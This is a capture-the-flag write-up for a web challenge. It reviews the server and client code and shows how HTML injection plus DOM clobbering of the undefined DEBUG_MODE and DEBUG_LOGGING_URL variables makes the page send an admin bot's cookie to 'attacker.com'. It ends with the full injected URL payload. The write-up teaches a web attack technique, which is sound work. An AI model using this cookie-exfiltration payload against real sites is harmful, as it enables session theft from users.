# Don't Only Mash... Clobber!

0xgodson

●

Published 2022-03-28

Chal Description:

Submit an image link to our "evaluator" and steal their cookie!

Another XSS Chal at First sight, But The Chal Name says Clobber!

# Website:

# Functionalities

There are Two Functionalities.

Submit the url to View any Image in the Internet.(Client Side Rendering)
Submit a Picture Url To Admin Bot. So, The admin Bot also view the Image with Cookies.

    
        #
        Source Code Review:

# server.js

const express = require('express')
const bodyParser = require('body-parser');
const puppeteer = require('puppeteer')
const escape = require('escape-html')

const app = express()
const port = 9000

app.use(express.static(__dirname + '/webapp'))
app.use(bodyParser.urlencoded({ extended: false }));

app.get('/personalize', (req, res) => {
    const imageUrl = req.query.image
    if (typeof imageUrl !== 'string' || !imageUrl) {
        res.send("'image' query parameter needs to be a string")
        return
    }

    try {
        var newUrl = new URL(imageUrl)
        console.log(newUrl)
    }
    catch (e) {
        res.send(escape(e.message))
        return
    }

    const pageContent =
    `
        <html>
        <head>
            <script src="/app.js"></script>
        </head>
        <body id="body">
            <p>Here is the image you submitted:</p>
            <img id="user-image" src="${newUrl}">
            <br/>
            <br/>
            <p>You submitted this url: <span id="user-image-info"></span></p>
        </body>
        </html>
    `

    // The intended solution does not involve bypassing CSP and gaining XSS.
    // If you can do so anyway, go for it! :)
    res.set("Content-Security-Policy", "default-src 'self'; img-src *; object-src 'none';")
    res.setHeader('Content-Type', "text/html")
    res.send(pageContent)
})

const visitUrl = async (url, cookieDomain) => {
    // Chrome generates this error inside our docker container when starting up.
    // However, it seems to run ok anyway.
    //
    // [0105/011035.292928:ERROR:gpu_init.cc(457)] Passthrough is not supported, GL is disabled, ANGLE is

    let browser =
            await puppeteer.launch({
                headless: true,
                pipe: true,
                dumpio: true,
                ignoreHTTPSErrors: true,

                // headless chrome in docker is not a picnic
                args: [
                    '--incognito',
                    '--no-sandbox',
                    '--disable-gpu',
                    '--disable-software-rasterizer',
                    '--disable-dev-shm-usage',
                ]
            })

    try {
        const ctx = await browser.createIncognitoBrowserContext()
        const page = await ctx.newPage()

        try {
            await page.setCookie({
                name: 'flag',
                value: 'FLAG{PAKE_PLAG}',
                domain: cookieDomain,
                httpOnly: false,
                samesite: 'strict'
            })
            await page.goto(url, { timeout: 6000, waitUntil: 'networkidle2' })
        } finally {
            await page.close()
            await ctx.close()
        }
    }
    finally {
        browser.close()
    }
}

app.post('/visit', async (req, res) => {
    const url = req.body.url
    console.log('received url: ', url)

    let parsedURL
    try {
        parsedURL = new URL(url)
    }
    catch (e) {
        res.send(escape(e.message))
        return
    }

    if (parsedURL.protocol !== 'http:' && parsedURL.protocol != 'https:') {
        res.send('Please provide a URL with the http or https protocol.')
        return
    }

    if (parsedURL.hostname !== req.hostname) {
        res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}`)
        return
    }

    try {
        console.log('visiting url: ', url)
        await visitUrl(url, req.hostname)
        res.send('Our evaluator has viewed your image!')
    } catch (e) {
        console.log('error visiting: ', url, ', ', e.message)
        res.send('Error visiting your URL: ' + escape(e.message))
    } finally {
        console.log('done visiting url: ', url)
    }

})

app.listen(port, async () => {
    console.log(`Listening on ${port}`)
})

# CSP:

    // The intended solution does not involve bypassing CSP and gaining XSS.
    // If you can do so anyway, go for it! :)
    res.set("Content-Security-Policy", "default-src 'self'; img-src *; object-src 'none';")

Default-src: 'self'; img-src: *;object-src: none;
As Far I know, the Above CSP is Only Able to Bypass when there is a JSONP endpoint in this Site.

# GET Route:

/personalize

app.get('/personalize', (req, res) => {
    const imageUrl = req.query.image
    if (typeof imageUrl !== 'string' || !imageUrl) {
        res.send("'image' query parameter needs to be a string")
        return
    }
    try {
        var newUrl = new URL(imageUrl)
        console.log(newUrl)
    }
    catch (e) {
        res.send(escape(e.message))
        return
    }

We can Provide a Image Url with /personalize?image=http://pic.com/pic.png
then, Our Pic Url is Passed into a img tag

const pageContent =
    `
        <html>
        <head>
            <script src="/app.js"></script>
        </head>
        <body id="body">
            <p>Here is the image you submitted:</p>
            <img id="user-image" src="${newUrl}">
            <br/>
            <br/>
            <p>You submitted this url: <span id="user-image-info"></span></p>
        </body>
        </html>
    `
res.send(pageContent)

# POST Route:

/visit

 app.post('/visit', async (req, res) => {
    const url = req.body.url
    console.log('received url: ', url)

    let parsedURL
    try {
        parsedURL = new URL(url)
    }
    catch (e) {
        res.send(escape(e.message))
        return
    }

Ex Request:

POST /visit
Host: ...
...
...
Content-Type: application/x-www-form-urlencoded

url=<url>

# Conditions:

if (parsedURL.protocol !== 'http:' && parsedURL.protocol != 'https:') {
        res.send('Please provide a URL with the http or https protocol.')
        return
    }

    if (parsedURL.hostname !== req.hostname) {
        res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}`)
        return
    }

parsedUrl is a Object with key and values like Protocol, Host, Hostname, path...

Only HTTP and HTTPS Protocols are allowed
req.hostname is just the Request HOST header value.
Hostname must equal to the req.hostname
We cannot Control req.hostname value, Bcoz they Hosted in google Cloud. So, if we Changed the Value, it gives 404

# HTML Injection:

We Can Perform HTMLi bcoz, Our Input is Not Filtered and Directly passed to the below Mentioned Template.

<html>
        <head>
            <script src="/app.js"></script>
        </head>
        <body id="body">
            <p>Here is the image you submitted:</p>
            <img id="user-image" src="${newUrl}">
            <br/>
            <br/>
            <p>You submitted this url: <span id="user-image-info"></span></p>
        </body>
        </html>

# Rabbit Hole:

Our Goal to Steal the Admin Bot cookie.
The Above implementation Gives easy XSS.(without CSP)

# XSS

As I mentioned Above, CSP is Looks Impossible to Bypass.
After 5 hrs, I Realized, Bypassing CSP is Rabbit Hole.

# DOM Clobbering:

The Below Code is Client Side JAVASCRIPT code

# app.js

window.onload = () => {
    const imgSrc = document.getElementById('user-image').src
    document.getElementById('user-image-info').innerText = imgSrc

    if (DEBUG_MODE) {
        // In debug mode, send the image url to our debug endpoint for logging purposes.
        // We'd normally use fetch() but our CSP won't allow that so use an <img> instead.
        document.getElementById('body').insertAdjacentHTML('beforeend', `<img src="${DEBUG_LOGGING_URL}?auth=${btoa(document.cookie)}&image=${btoa(imgSrc)}">`)
    }
}

This Javascript Loads with we Visit, /personalize?image=<url>

# Exploit:

if (DEBUG_MODE) {
        // In debug mode, send the image url to our debug endpoint for logging purposes.
        // We'd normally use fetch() but our CSP won't allow that so use an <img> instead.
        document.getElementById('body').insertAdjacentHTML('beforeend', `<img src="${DEBUG_LOGGING_URL}?auth=${btoa(document.cookie)}&image=${btoa(imgSrc)}">`)
    }

In the Above Code, DEBUG_MODE is Not Defined.

CSP is Set to defualt-src: 'self'. So, the Javascript files hosted in the server itself only work.
So, Now we Have HTML injection and a Undedined variable.
In Order to Exploit this, we need to Overwrite the Undefined Variable DEBUG_MODE and Injecting our own value into DEBUG_MODE.
By Using DEBUG_MODE as ID, We can create a variable DEBUG_MODE.

Payload:

https://wsc-2022-web-2-bvel4oasra-uc.a.run.app/personalize?image=https://google.com/"><a id="DEBUG_MODE">

We successfully Defined DEBUG_MODE, which is Before Undefined. Now, the Above error says that, DEBUG_LOGGING_URL is Undefined.
Lets Define that!

Payload:

https://wsc-2022-web-2-bvel4oasra-uc.a.run.app/personalize?image=https://google.com/"><a id="DEBUG_MODE"><a id="DEBUG_LOGGING_URL" href="https://attacker.com">

Here, Href is Used to set a value for the DEBUG_LOGGING_URL.

No Errors in Javascript Console!!
Upon Looking the Network Tab,

A GET Request to Attacker.com with ?auth=&image=(base64(imageURL))

if (DEBUG_MODE) {
        // In debug mode, send the image url to our debug endpoint for logging purposes.
        // We'd normally use fetch() but our CSP won't allow that so use an <img> instead.
        document.getElementById('body').insertAdjacentHTML('beforeend', `<img src="${DEBUG_LOGGING_URL}?auth=${btoa(document.cookie)}&image=${btoa(imgSrc)}">`)
    }

?auth contains base64 Encoded cookie. Now, We dont Have any Cookies, So the The ?auth= is Empty.
Flag in the Admin bot cookie. In order to Get the Cookie, Send the about Payload to the Bot to get the Flag

# flag: wsc

dom clobbering

# Don't Only Mash... Clobber!

# Website:

# Functionalities

# Source Code Review:

# server.js

# CSP:

# GET Route:

# POST Route:

# Conditions:

# HTML Injection:

# Rabbit Hole:

# XSS

# DOM Clobbering:

# app.js

# Exploit:

# flag: wsc